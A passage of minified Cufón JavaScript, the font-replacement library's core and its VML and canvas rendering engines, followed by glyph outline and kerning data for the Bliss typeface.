false}}for(K=0;L=J[K];++K){if(!C(L)){return false}}return true}x.ready(function(){if(!E){E=n.getStyle(document.body).isUsable()}if(B||(E&&F())){H()}else{setTimeout(arguments.callee,10)}});return function(K){if(B){K()}else{D.push(K)}}})();function s(D){var C=this.face=D.face,B={"\u0020":1,"\u00a0":1,"\u3000":1};this.glyphs=D.glyphs;this.w=D.w;this.baseSize=parseInt(C["units-per-em"],10);this.family=C["font-family"].toLowerCase();this.weight=C["font-weight"];this.style=C["font-style"]||"normal";this.viewBox=(function(){var F=C.bbox.split(/\s+/);var E={minX:parseInt(F[0],10),minY:parseInt(F[1],10),maxX:parseInt(F[2],10),maxY:parseInt(F[3],10)};E.width=E.maxX-E.minX;E.height=E.maxY-E.minY;E.toString=function(){return[this.minX,this.minY,this.width,this.height].join(" ")};return E})();this.ascent=-parseInt(C.ascent,10);this.descent=-parseInt(C.descent,10);this.height=-this.ascent+this.descent;this.spacing=function(L,N,E){var O=this.glyphs,M,K,G,P=[],F=0,J=-1,I=-1,H;while(H=L[++J]){M=O[H]||this.missingGlyph;if(!M){continue}if(K){F-=G=K[H]||0;P[I]-=G}F+=P[++I]=~~(M.w||this.w)+N+(B[H]?E:0);K=M.k}P.total=F;return P}}function f(){var C={},B={oblique:"italic",italic:"oblique"};this.add=function(D){(C[D.style]||(C[D.style]={}))[D.weight]=D};this.get=function(H,I){var G=C[H]||C[B[H]]||C.normal||C.italic||C.oblique;if(!G){return null}I={normal:400,bold:700}[I]||parseInt(I,10);if(G[I]){return G[I]}var E={1:1,99:0}[I%100],K=[],F,D;if(E===undefined){E=I>400}if(I==500){I=400}for(var J in G){if(!k(G,J)){continue}J=parseInt(J,10);if(!F||J<F){F=J}if(!D||J>D){D=J}K.push(J)}if(I<F){I=F}if(I>D){I=D}K.sort(function(M,L){return(E?(M>=I&&L>=I)?M<L:M>L:(M<=I&&L<=I)?M>L:M<L)?-1:1});return G[K[0]]}}function r(){function D(F,G){if(F.contains){return F.contains(G)}return F.compareDocumentPosition(G)&16}function B(G){var F=G.relatedTarget;if(!F||D(this,F)){return}C(this,G.type=="mouseover")}function E(F){C(this,F.type=="mouseenter")}function C(F,G){setTimeout(function(){var H=d.get(F).options;m.replace(F,G?h(H,H.hover):H,true)},10)}this.attach=function(F){if(F.onmouseenter===undefined){q(F,"mouseover",B);q(F,"mouseout",B)}else{q(F,"mouseenter",E);q(F,"mouseleave",E)}}}function u(){var C=[],D={};function B(H){var E=[],G;for(var F=0;G=H[F];++F){E[F]=C[D[G]]}return E}this.add=function(F,E){D[F]=C.push(E)-1};this.repeat=function(){var E=arguments.length?B(arguments):C,F;for(var G=0;F=E[G++];){m.replace(F[0],F[1],true)}}}function A(){var D={},B=0;function C(E){return E.cufid||(E.cufid=++B)}this.get=function(E){var F=C(E);return D[F]||(D[F]={})}}function a(B){var D={},C={};this.extend=function(E){for(var F in E){if(k(E,F)){D[F]=E[F]}}return this};this.get=function(E){return D[E]!=undefined?D[E]:B[E]};this.getSize=function(F,E){return C[F]||(C[F]=new n.Size(this.get(F),E))};this.isUsable=function(){return !!B}}function q(C,B,D){if(C.addEventListener){C.addEventListener(B,D,false)}else{if(C.attachEvent){C.attachEvent("on"+B,function(){return D.call(C,window.event)})}}}function v(C,B){var D=d.get(C);if(D.options){return C}if(B.hover&&B.hoverables[C.nodeName.toLowerCase()]){b.attach(C)}D.options=B;return C}function j(B){var C={};return function(D){if(!k(C,D)){C[D]=B.apply(null,arguments)}return C[D]}}function c(F,E){var B=n.quotedList(E.get("fontFamily").toLowerCase()),D;for(var C=0;D=B[C];++C){if(i[D]){return i[D].get(E.get("fontStyle"),E.get("fontWeight"))}}return null}function g(B){return document.getElementsByTagName(B)}function k(C,B){return C.hasOwnProperty(B)}function h(){var C={},B,F;for(var E=0,D=arguments.length;B=arguments[E],E<D;++E){for(F in B){if(k(B,F)){C[F]=B[F]}}}return C}function o(E,M,C,N,F,D){var K=document.createDocumentFragment(),H;if(M===""){return K}var L=N.separate;var I=M.split(p[L]),B=(L=="words");if(B&&t){if(/^\s/.test(M)){I.unshift("")}if(/\s$/.test(M)){I.push("")}}for(var J=0,G=I.length;J<G;++J){H=z[N.engine](E,B?n.textAlign(I[J],C,J,G):I[J],C,N,F,D,J<G-1);if(H){K.appendChild(H)}}return K}function l(D,M){var C=D.nodeName.toLowerCase();if(M.ignore[C]){return}var E=!M.textless[C];var B=n.getStyle(v(D,M)).extend(M);var F=c(D,B),G,K,I,H,L,J;if(!F){return}for(G=D.firstChild;G;G=I){K=G.nodeType;I=G.nextSibling;if(E&&K==3){if(H){H.appendData(G.data);D.removeChild(G)}else{H=G}if(I){continue}}if(H){D.replaceChild(o(F,n.whiteSpace(H.data,B,H,J),B,M,G,D),H);H=null}if(K==1){if(G.firstChild){if(G.nodeName.toLowerCase()=="cufon"){z[M.engine](F,null,B,M,G,D)}else{arguments.callee(G,M)}}J=G}}}var t=" ".split(/\s+/).length==0;var d=new A();var b=new r();var y=new u();var e=false;var z={},i={},w={autoDetect:false,engine:null,forceHitArea:false,hover:false,hoverables:{a:true},ignore:{applet:1,canvas:1,col:1,colgroup:1,head:1,iframe:1,map:1,optgroup:1,option:1,script:1,select:1,style:1,textarea:1,title:1,pre:1},printable:true,selector:(window.Sizzle||(window.jQuery&&function(B){return jQuery(B)})||(window.dojo&&dojo.query)||(window.Ext&&Ext.query)||(window.YAHOO&&YAHOO.util&&YAHOO.util.Selector&&YAHOO.util.Selector.query)||(window.$$&&function(B){return $$(B)})||(window.$&&function(B){return $(B)})||(document.querySelectorAll&&function(B){return document.querySelectorAll(B)})||g),separate:"words",textless:{dl:1,html:1,ol:1,table:1,tbody:1,thead:1,tfoot:1,tr:1,ul:1},textShadow:"none"};var p={words:/\s/.test("\u00a0")?/[^\S\u00a0]+/:/\s+/,characters:"",none:/^/};m.now=function(){x.ready();return m};m.refresh=function(){y.repeat.apply(y,arguments);return m};m.registerEngine=function(C,B){if(!B){return m}z[C]=B;return m.set("engine",C)};m.registerFont=function(D){if(!D){return m}var B=new s(D),C=B.family;if(!i[C]){i[C]=new f()}i[C].add(B);return m.set("fontFamily",'"'+C+'"')};m.replace=function(D,C,B){C=h(w,C);if(!C.engine){return m}if(!e){n.addClass(x.root(),"cufon-active cufon-loading");n.ready(function(){n.addClass(n.removeClass(x.root(),"cufon-loading"),"cufon-ready")});e=true}if(C.hover){C.forceHitArea=true}if(C.autoDetect){delete C.fontFamily}if(typeof C.textShadow=="string"){C.textShadow=n.textShadow(C.textShadow)}if(typeof C.color=="string"&&/^-/.test(C.color)){C.textGradient=n.gradient(C.color)}else{delete C.textGradient}if(!B){y.add(D,arguments)}if(D.nodeType||typeof D=="string"){D=[D]}n.ready(function(){for(var F=0,E=D.length;F<E;++F){var G=D[F];if(typeof G=="string"){m.replace(C.selector(G),C,true)}else{l(G,C)}}});return m};m.set=function(B,C){w[B]=C;return m};return m})();Cufon.registerEngine("vml",(function(){var e=document.namespaces;if(!e){return}e.add("cvml","urn:schemas-microsoft-com:vml");e=null;var b=document.createElement("cvml:shape");b.style.behavior="url(#default#VML)";if(!b.coordsize){return}b=null;var h=(document.documentMode||0)<8;document.write(('<style type="text/css">cufoncanvas{text-indent:0;}@media screen{cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}cufoncanvas{position:absolute;text-align:left;}cufon{display:inline-block;position:relative;vertical-align:'+(h?"middle":"text-bottom")+";}cufon cufontext{position:absolute;left:-10000in;font-size:1px;}a cufon{cursor:pointer}}@media print{cufon cufoncanvas{display:none;}}</style>").replace(/;/g,"!important;"));function c(i,j){return a(i,/(?:em|ex|%)$|^[a-z-]+$/i.test(j)?"1em":j)}function a(l,m){if(m==="0"){return 0}if(/px$/i.test(m)){return parseFloat(m)}var k=l.style.left,j=l.runtimeStyle.left;l.runtimeStyle.left=l.currentStyle.left;l.style.left=m.replace("%","em");var i=l.style.pixelLeft;l.style.left=k;l.runtimeStyle.left=j;return i}function f(l,k,j,n){var i="computed"+n,m=k[i];if(isNaN(m)){m=k.get(n);k[i]=m=(m=="normal")?0:~~j.convertFrom(a(l,m))}return m}var g={};function d(p){var q=p.id;if(!g[q]){var n=p.stops,o=document.createElement("cvml:fill"),i=[];o.type="gradient";o.angle=180;o.focus="0";o.method="sigma";o.color=n[0][1];for(var m=1,l=n.length-1;m<l;++m){i.push(n[m][0]*100+"% "+n[m][1])}o.colors=i.join(",");o.color2=n[l][1];g[q]=o}return g[q]}return function(ac,G,Y,C,K,ad,W){var n=(G===null);if(n){G=K.alt}var I=ac.viewBox;var p=Y.computedFontSize||(Y.computedFontSize=new Cufon.CSS.Size(c(ad,Y.get("fontSize"))+"px",ac.baseSize));var y,q;if(n){y=K;q=K.firstChild}else{y=document.createElement("cufon");y.className="cufon cufon-vml";y.alt=G;q=document.createElement("cufoncanvas");y.appendChild(q);if(C.printable){var Z=document.createElement("cufontext");Z.appendChild(document.createTextNode(G));y.appendChild(Z)}if(!W){y.appendChild(document.createElement("cvml:shape"))}}var ai=y.style;var R=q.style;var l=p.convert(I.height),af=Math.ceil(l);var V=af/l;var P=V*Cufon.CSS.fontStretch(Y.get("fontStretch"));var U=I.minX,T=I.minY;R.height=af;R.top=Math.round(p.convert(T-ac.ascent));R.left=Math.round(p.convert(U));ai.height=p.convert(ac.height)+"px";var F=Y.get("color");var ag=Cufon.CSS.textTransform(G,Y).split("");var L=ac.spacing(ag,f(ad,Y,p,"letterSpacing"),f(ad,Y,p,"wordSpacing"));if(!L.length){return null}var k=L.total;var x=-U+k+(I.width-L[L.length-1]);var ah=p.convert(x*P),X=Math.round(ah);var O=x+","+I.height,m;var J="r"+O+"ns";var u=C.textGradient&&d(C.textGradient);var o=ac.glyphs,S=0;var H=C.textShadow;var ab=-1,aa=0,w;while(w=ag[++ab]){var D=o[ag[ab]]||ac.missingGlyph,v;if(!D){continue}if(n){v=q.childNodes[aa];while(v.firstChild){v.removeChild(v.firstChild)}}else{v=document.createElement("cvml:shape");q.appendChild(v)}v.stroked="f";v.coordsize=O;v.coordorigin=m=(U-S)+","+T;v.path=(D.d?"m"+D.d+"xe":"")+"m"+m+J;v.fillcolor=F;if(u){v.appendChild(u.cloneNode(false))}var ae=v.style;ae.width=X;ae.height=af;if(H){var s=H[0],r=H[1];var B=Cufon.CSS.color(s.color),z;var N=document.createElement("cvml:shadow");N.on="t";N.color=B.color;N.offset=s.offX+","+s.offY;if(r){z=Cufon.CSS.color(r.color);N.type="double";N.color2=z.color;N.offset2=r.offX+","+r.offY}N.opacity=B.opacity||(z&&z.opacity)||1;v.appendChild(N)}S+=L[aa++]}var M=v.nextSibling,t,A;if(C.forceHitArea){if(!M){M=document.createElement("cvml:rect");M.stroked="f";M.className="cufon-vml-cover";t=document.createElement("cvml:fill");t.opacity=0;M.appendChild(t);q.appendChild(M)}A=M.style;A.width=X;A.height=af}else{if(M){q.removeChild(M)}}ai.width=Math.max(Math.ceil(p.convert(k*P)),0);if(h){var Q=Y.computedYAdjust;if(Q===undefined){var E=Y.get("lineHeight");if(E=="normal"){E="1em"}else{if(!isNaN(E)){E+="em"}}Y.computedYAdjust=Q=0.5*(a(ad,E)-parseFloat(ai.height))}if(Q){ai.marginTop=Math.ceil(Q)+"px";ai.marginBottom=Q+"px"}}return y}})());Cufon.registerEngine("canvas",(function(){var b=document.createElement("canvas");if(!b||!b.getContext||!b.getContext.apply){return}b=null;var a=Cufon.CSS.supports("display","inline-block");var e=!a&&(document.compatMode=="BackCompat"||/frameset|transitional/i.test(document.doctype.publicId));var f=document.createElement("style");f.type="text/css";f.appendChild(document.createTextNode(("cufon{text-indent:0;}@media screen,projection{cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;"+(e?"":"font-size:1px;line-height:1px;")+"}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;overflow:hidden;text-indent:-10000in;}"+(a?"cufon canvas{position:relative;}":"cufon canvas{position:absolute;}")+"}@media print{cufon{padding:0;}cufon canvas{display:none;}}").replace(/;/g,"!important;")));document.getElementsByTagName("head")[0].appendChild(f);function d(p,h){var n=0,m=0;var g=[],o=/([mrvxe])([^a-z]*)/g,k;generate:for(var j=0;k=o.exec(p);++j){var l=k[2].split(",");switch(k[1]){case"v":g[j]={m:"bezierCurveTo",a:[n+~~l[0],m+~~l[1],n+~~l[2],m+~~l[3],n+=~~l[4],m+=~~l[5]]};break;case"r":g[j]={m:"lineTo",a:[n+=~~l[0],m+=~~l[1]]};break;case"m":g[j]={m:"moveTo",a:[n=~~l[0],m=~~l[1]]};break;case"x":g[j]={m:"closePath"};break;case"e":break generate}h[g[j].m].apply(h,g[j].a)}return g}function c(m,k){for(var j=0,h=m.length;j<h;++j){var g=m[j];k[g.m].apply(k,g.a)}}return function(V,w,P,t,C,W){var k=(w===null);if(k){w=C.getAttribute("alt")}var A=V.viewBox;var m=P.getSize("fontSize",V.baseSize);var B=0,O=0,N=0,u=0;var z=t.textShadow,L=[];if(z){for(var U=z.length;U--;){var F=z[U];var K=m.convertFrom(parseFloat(F.offX));var I=m.convertFrom(parseFloat(F.offY));L[U]=[K,I];if(I<B){B=I}if(K>O){O=K}if(I>N){N=I}if(K<u){u=K}}}var Z=Cufon.CSS.textTransform(w,P).split("");var E=V.spacing(Z,~~m.convertFrom(parseFloat(P.get("letterSpacing"))||0),~~m.convertFrom(parseFloat(P.get("wordSpacing"))||0));if(!E.length){return null}var h=E.total;O+=A.width-E[E.length-1];u+=A.minX;var s,n;if(k){s=C;n=C.firstChild}else{s=document.createElement("cufon");s.className="cufon cufon-canvas";s.setAttribute("alt",w);n=document.createElement("canvas");s.appendChild(n);if(t.printable){var S=document.createElement("cufontext");S.appendChild(document.createTextNode(w));s.appendChild(S)}}var aa=s.style;var H=n.style;var j=m.convert(A.height);var Y=Math.ceil(j);var M=Y/j;var G=M*Cufon.CSS.fontStretch(P.get("fontStretch"));var J=h*G;var Q=Math.ceil(m.convert(J+O-u));var o=Math.ceil(m.convert(A.height-B+N));n.width=Q;n.height=o;H.width=Q+"px";H.height=o+"px";B+=A.minY;H.top=Math.round(m.convert(B-V.ascent))+"px";H.left=Math.round(m.convert(u))+"px";var r=Math.max(Math.ceil(m.convert(J)),0)+"px";if(a){aa.width=r;aa.height=m.convert(V.height)+"px"}else{aa.paddingLeft=r;aa.paddingBottom=(m.convert(V.height)-1)+"px"}var X=n.getContext("2d"),D=j/A.height;X.scale(D,D*M);X.translate(-u,-B);X.save();function T(){var x=V.glyphs,ab,l=-1,g=-1,y;X.scale(G,1);while(y=Z[++l]){var ab=x[Z[l]]||V.missingGlyph;if(!ab){continue}if(ab.d){X.beginPath();if(ab.code){c(ab.code,X)}else{ab.code=d("m"+ab.d,X)}X.fill()}X.translate(E[++g],0)}X.restore()}if(z){for(var U=z.length;U--;){var F=z[U];X.save();X.fillStyle=F.color;X.translate.apply(X,L[U]);T()}}var q=t.textGradient;if(q){var v=q.stops,p=X.createLinearGradient(0,A.minY,0,A.maxY);for(var U=0,R=v.length;U<R;++U){p.addColorStop.apply(p,v[U])}X.fillStyle=p}else{X.fillStyle=P.get("color")}T();return s}})());/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright (c) JT Types Ltd., 1996-2004. All rights reserved.
 * 
 * Trademark:
 * Bliss is a trademark of JT Types Ltd.
 * 
 * Manufacturer:
 * www.typography.net
 * 
 * Designer:
 * Jeremy Tankard
 * 
 * Vendor URL:
 * www.typography.net
 * 
 * License information:
 * http://www.typography.net/info/Licence_Agreement.pdf
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"19,-206r0,-25r94,0r0,25r-94,0","w":132},{"d":"130,-176v0,36,-21,62,-55,62v-34,0,-54,-25,-54,-62v0,-37,19,-63,54,-63v35,0,55,26,55,63xm47,-176v0,22,8,41,28,41v20,0,29,-19,29,-41v0,-22,-8,-42,-29,-42v-20,0,-28,20,-28,42xm284,-59v0,37,-20,63,-54,63v-34,0,-55,-26,-55,-63v0,-37,20,-63,55,-63v35,0,54,26,54,63xm201,-59v0,22,9,42,29,42v20,0,28,-20,28,-42v0,-22,-8,-42,-28,-42v-21,0,-29,20,-29,42xm64,0r149,-237r27,0r-148,237r-28,0","w":304},{"d":"253,-118v0,70,-49,122,-117,122v-68,0,-117,-52,-117,-122v0,-69,49,-121,117,-121v68,0,117,52,117,121xm53,-118v0,54,31,94,83,94v52,1,83,-40,83,-94v0,-53,-30,-94,-83,-94v-51,0,-83,41,-83,94xm121,-251r21,-52r36,0r-32,52r-25,0","w":272,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":12,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":2,"Z":6}},{"d":"144,-42v41,42,3,101,-59,101v-25,0,-46,-6,-64,-18r12,-24v29,21,93,27,96,-17v-10,-58,-105,-39,-105,-108v0,-22,10,-39,30,-52v-40,-36,-9,-100,49,-100v22,0,41,3,56,11r0,28v-28,-17,-89,-24,-92,17v11,59,108,40,107,111v0,21,-10,39,-30,51xm127,-54v47,-45,-19,-81,-56,-94v-30,14,-16,56,7,68","w":192},{"d":"211,-86v0,60,-33,89,-91,90v-59,0,-92,-30,-92,-90r0,-151r32,0v7,82,-30,213,60,213v91,0,52,-131,60,-213r31,0r0,151xm105,-251r21,-52r36,0r-32,52r-25,0","w":239,"k":{"\u00c6":8}},{"d":"156,3v35,43,-18,82,-74,82v-40,0,-75,-15,-76,-49v0,-19,11,-33,32,-43v-20,-14,-13,-39,7,-54v-50,-29,-26,-113,37,-113v15,0,26,5,37,6v11,-11,28,-16,48,-13r-8,24v-8,-2,-19,-1,-25,3v45,44,-2,124,-71,101v-30,51,67,25,93,56xm56,2v-39,21,-14,65,30,60v45,7,70,-43,21,-51xm49,-112v0,22,14,37,36,37v21,-1,35,-14,35,-37v0,-21,-15,-37,-36,-37v-21,0,-35,15,-35,37","w":174,"k":{",":-3,"]":-1,"j":-14}},{"d":"101,45v0,30,-41,37,-70,27r6,-17v13,6,36,6,36,-10v0,-14,-14,-12,-30,-13r10,-32r24,0r-6,19v20,2,30,10,30,26","w":132},{"d":"59,-91v0,11,-9,20,-19,20v-10,0,-20,-9,-20,-20v0,-11,10,-20,20,-20v10,0,19,10,19,20","w":80},{"d":"30,0r0,-237r31,0r140,184r0,-184r32,0r0,237r-29,0r-143,-188r1,188r-32,0","w":262},{"d":"48,-99v57,19,-10,152,58,151r-6,29v-68,-2,-58,-72,-58,-141v0,-17,-8,-25,-24,-26r0,-24v54,-7,1,-111,37,-148v9,-10,24,-16,45,-19r6,29v-69,-3,0,132,-58,149","w":118,"k":{"J":-11,"y":-7,"\u00fd":-7,"\u00ff":-7,"j":-12}},{"d":"96,12r-90,-263r32,0r90,263r-32,0","w":134},{"d":"86,1r-81,-238r36,0r60,189r50,-149r-14,-40r33,0r64,189v16,-64,39,-127,57,-189r33,0r-78,238r-27,0r-53,-155r-54,155r-26,0","w":329,"k":{"A":11,"\u00c0":11,"\u00c1":11,"\u00c2":11,"\u00c3":11,"\u00c4":11,"\u00c5":11,"\u00c6":18,"C":4,"G":4,"O":4,"Q":4,"\u00c7":4,"\u00d2":4,"\u00d3":4,"\u00d4":4,"\u00d5":4,"\u00d6":4,"d":15,"o":15,"q":15,"\u00f0":15,"\u00f2":15,"\u00f3":15,"\u00f4":15,"\u00f5":15,"\u00f6":15,"\"":-3,"'":-3,",":14,".":12,"c":15,"e":15,"\u00e7":15,"\u00e8":15,"\u00e9":15,"\u00ea":15,"\u00eb":15,"\u2219":5,"a":13,"\u00e0":13,"\u00e1":13,"\u00e2":13,"\u00e3":13,"\u00e4":13,"\u00e5":13,"\u00e6":13,"g":14,"\u00ef":-13,"m":13,"n":13,"p":13,"r":13,"\u00f1":13,"\u00f8":15,"\u00bb":5,"\u00ab":5,"\u00d8":4,"\u00ec":-4,"\u00ee":-5,"s":12}},{"d":"62,0r149,-237r27,0r-148,237r-28,0xm69,-99r0,-112r-43,16r-9,-20v26,-8,42,-26,78,-24r0,140r-26,0xm291,-104v0,43,-53,45,-63,81r64,0r0,23r-97,0v2,-45,36,-65,62,-87v13,-12,6,-33,-14,-31v-9,0,-21,4,-35,11r-8,-20v33,-22,91,-21,91,23","w":319},{"d":"5,0r91,-238r22,0r93,238r-35,0r-23,-62r-92,0r-22,62r-34,0xm71,-89r72,0r-36,-101xm132,-258v-16,5,-53,-39,-55,-3r-22,0v-2,-23,8,-37,27,-38v18,-5,53,39,56,2r21,0v2,23,-7,39,-27,39","w":215,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":5,"v":9,"w":5,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-3,".":-3,":":-3,";":-3,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":14}},{"d":"161,-66v0,35,-25,53,-58,59r0,37r-25,0r0,-36v-19,-1,-36,-8,-52,-18r12,-24v28,21,86,26,90,-15v-10,-57,-96,-46,-97,-113v0,-30,24,-54,54,-56r0,-35r24,0r0,34v16,1,30,5,41,11r0,27v-28,-15,-84,-23,-86,17v13,55,97,45,97,112","w":190},{"d":"220,-120v0,97,-80,131,-190,120r0,-107r-27,0r0,-26r27,0r0,-104v108,-9,190,18,190,117xm186,-121v-1,-66,-49,-97,-124,-90r0,78r58,0r0,26r-58,0r0,81v79,7,124,-26,124,-95","w":238,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":12,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":2,"Z":6}},{"d":"167,-161v-1,56,-42,79,-105,75r0,86r-32,0r0,-237v75,-5,140,8,137,76xm133,-161v0,-39,-28,-53,-71,-50r0,99v43,3,71,-9,71,-49","k":{"A":19,"\u00c0":19,"\u00c1":19,"\u00c2":19,"\u00c3":19,"\u00c4":19,"\u00c5":19,"\u00c6":30,"X":12,"Y":1,"\u00dd":1,"d":8,"o":8,"q":8,"\u00f0":8,"\u00f2":8,"\u00f3":8,"\u00f4":8,"\u00f5":8,"\u00f6":8,",":21,".":23,"c":8,"e":8,"\u00e7":8,"\u00e8":8,"\u00e9":8,"\u00ea":8,"\u00eb":8,"\u00ad":7,"a":6,"\u00e0":6,"\u00e1":6,"\u00e2":6,"\u00e3":6,"\u00e4":6,"\u00e5":6,"\u00e6":6,"g":8,"\u00f8":8,"\u00ab":5,"Z":13}},{"d":"53,-118v0,73,66,113,134,86r0,-81r32,0r0,98v-85,47,-200,3,-200,-100v0,-98,98,-150,191,-112r0,30v-69,-37,-157,-4,-157,79","w":246,"k":{"v":9,"w":7,"y":9,"\u00fd":9,"\u00ff":9}},{"d":"211,-86v0,60,-33,89,-91,90v-59,0,-92,-30,-92,-90r0,-151r32,0v7,82,-30,213,60,213v91,0,52,-131,60,-213r31,0r0,151","w":239,"k":{"\u00c6":8}},{"d":"189,-3v-23,12,-52,2,-55,-21v-15,31,-60,38,-81,12r1,97r-32,0r0,-255r32,0v7,54,-23,146,35,146v58,0,35,-89,39,-146r32,0r0,117v-1,22,5,30,23,25","w":195},{"d":"49,-191r20,-53r36,0r-32,53r-24,0","w":132},{"d":"23,-158v45,-29,123,-24,125,43r3,115r-27,0r-6,-18v-34,39,-105,24,-105,-32v0,-49,50,-56,103,-55v7,-51,-49,-52,-81,-31xm89,-82v-48,-10,-60,59,-14,60v15,0,29,-7,41,-20r0,-41xm69,-218v0,10,-7,18,-17,18v-11,0,-18,-7,-18,-18v0,-10,8,-17,18,-17v10,0,17,7,17,17xm135,-218v0,11,-7,18,-18,18v-10,0,-18,-8,-18,-18v0,-9,8,-17,18,-17v10,0,18,7,18,17","w":169,"k":{"\"":6,"'":6}},{"d":"51,-218v0,11,-7,18,-18,18v-10,0,-17,-8,-17,-18v0,-10,7,-17,17,-17v10,0,18,7,18,17xm117,-218v-1,10,-8,18,-18,18v-11,0,-18,-7,-18,-18v0,-24,36,-20,36,0","w":132},{"d":"30,0r0,-237r120,0r-9,26r-79,0r0,76r78,0r0,27r-78,0r0,82r90,0r0,26r-122,0xm80,-251r-32,-52r36,0r21,52r-25,0","w":172},{"d":"31,-152r0,-129r31,0r0,129r-31,0xm31,85r0,-129r31,0r0,129r-31,0","w":92},{"d":"5,0r125,-237r139,0r-9,26r-97,0r13,76r82,0r0,27r-77,0r14,82r75,0r0,26r-103,0r-11,-62r-85,0r-33,62r-33,0xm85,-89r67,0r-17,-101v-11,25,-36,72,-50,101","w":291},{"d":"23,-158v45,-29,123,-24,125,43r3,115r-27,0r-6,-18v-34,39,-105,24,-105,-32v0,-49,50,-56,103,-55v7,-51,-49,-52,-81,-31xm89,-82v-48,-10,-60,59,-14,60v15,0,29,-7,41,-20r0,-41xm123,-223v0,21,-16,35,-38,35v-22,0,-39,-14,-39,-35v0,-21,16,-34,39,-34v23,0,38,13,38,34xm68,-223v0,12,6,19,17,19v10,0,16,-7,16,-19v0,-12,-6,-19,-16,-19v-11,0,-17,7,-17,19","w":169,"k":{"\"":6,"'":6}},{"d":"56,-42v-2,16,10,19,23,14r7,25v-28,11,-62,6,-62,-30r0,-222r32,0r0,213","w":91,"k":{"v":4,"w":3,"y":3,"\u00fd":3,"\u00ff":3}},{"d":"107,-239v35,0,62,20,63,51v0,24,-17,46,-51,63v18,22,38,42,58,61v16,-17,27,-36,33,-55r28,7v-9,26,-23,48,-41,66v20,16,30,25,51,21r6,24v-32,8,-50,-2,-79,-25v-49,47,-153,40,-154,-37v0,-31,17,-54,51,-69v-16,-18,-28,-28,-29,-56v-1,-30,29,-51,64,-51xm89,-113v-51,16,-45,90,9,90v19,0,37,-7,55,-22v-23,-21,-44,-44,-64,-68xm107,-215v-43,5,-36,42,-6,70v24,-12,36,-26,36,-43v-1,-15,-12,-29,-30,-27","w":262},{"d":"-5,79r8,-26v42,19,67,-15,76,-53r-76,-170r34,0r57,132r44,-132r33,0r-64,181v-14,50,-50,90,-112,68","w":173,"k":{"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"\"":-3,"'":-3,",":10,".":8,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00f8":4}},{"d":"56,-150v40,-41,110,-32,110,36r0,114r-32,0v-6,-50,19,-144,-30,-147v-15,0,-30,9,-48,24r0,123r-32,0r0,-255r32,0r0,105","w":187,"k":{"v":1,"y":3,"\u00fd":3,"\u00ff":3,"\"":4,"'":4}},{"d":"31,85r0,-366r31,0r0,366r-31,0","w":92},{"d":"35,-170v-10,-62,27,-101,81,-79r-6,26v-22,-9,-43,-4,-43,24r0,29r43,0r-8,25r-35,0r0,145r-32,0r0,-145r-23,0r0,-25r23,0","w":113,"k":{"\"":-9,"'":-9,",":7,".":8,")":-9,"]":-10,"}":-8,"\u00ef":-8,"\u00ec":-5,"\u00ee":-4}},{"d":"163,-206v-49,-20,-85,10,-75,72r68,0r-8,26r-60,0v0,41,-10,67,-24,84v32,-3,71,-2,106,-2r0,26r-146,0r0,-22v22,-9,33,-38,33,-86r-28,0r0,-26r28,0v-12,-81,41,-124,113,-97","w":190},{"d":"99,1r-94,-238r34,0r73,190r72,-190r35,0r-95,238r-25,0","w":223,"k":{"A":14,"\u00c0":14,"\u00c1":14,"\u00c2":14,"\u00c3":14,"\u00c4":14,"\u00c5":14,"\u00c6":22,"C":7,"G":7,"O":7,"Q":7,"\u00c7":7,"\u00d2":7,"\u00d3":7,"\u00d4":7,"\u00d5":7,"\u00d6":7,"d":15,"o":15,"q":15,"\u00f0":15,"\u00f2":15,"\u00f3":15,"\u00f4":15,"\u00f5":15,"\u00f6":15,"\"":-3,"'":-3,",":20,".":18,"c":15,"e":15,"\u00e7":15,"\u00e8":15,"\u00e9":15,"\u00ea":15,"\u00eb":15,"\u00ad":7,"\u2219":7,"a":16,"\u00e0":16,"\u00e1":16,"\u00e2":16,"\u00e3":16,"\u00e4":16,"\u00e5":16,"\u00e6":16,"g":15,"\u00ef":-16,"m":13,"n":13,"p":13,"r":13,"\u00f1":13,"\u00f8":15,"\u00bb":5,"\u00ab":11,"\u00d8":7,"\u00ec":-4,"\u00ee":-4,"s":16}},{"d":"105,-249v0,43,-55,44,-63,81r64,0r0,23r-96,0v-2,-57,53,-63,68,-102v-6,-25,-34,-18,-56,-6r-8,-20v34,-21,91,-20,91,24","w":120},{"d":"133,-68v-32,0,-80,-44,-107,-7r-17,-19v16,-16,32,-24,49,-24v15,0,63,23,76,22v16,-2,20,-6,32,-16r16,19v-16,16,-32,25,-49,25","w":191},{"d":"34,-5r-20,-19r66,-66r-66,-66r20,-20r66,66r66,-66r19,20r-65,66r65,66r-19,19r-66,-66","w":199},{"d":"80,0r0,-43r-57,0r0,-22r57,0r0,-29r-57,0r0,-22r46,0r-57,-121r34,0r50,112r49,-112r34,0r-58,121r46,0r0,22r-56,0r0,29r56,0r0,22r-56,0r0,43r-31,0","w":190},{"d":"84,0r0,-95r-79,-142r35,0r61,112r58,-112r35,0r-78,143r0,94r-32,0xm83,-251r21,-52r36,0r-32,52r-25,0","w":198,"k":{"A":18,"\u00c0"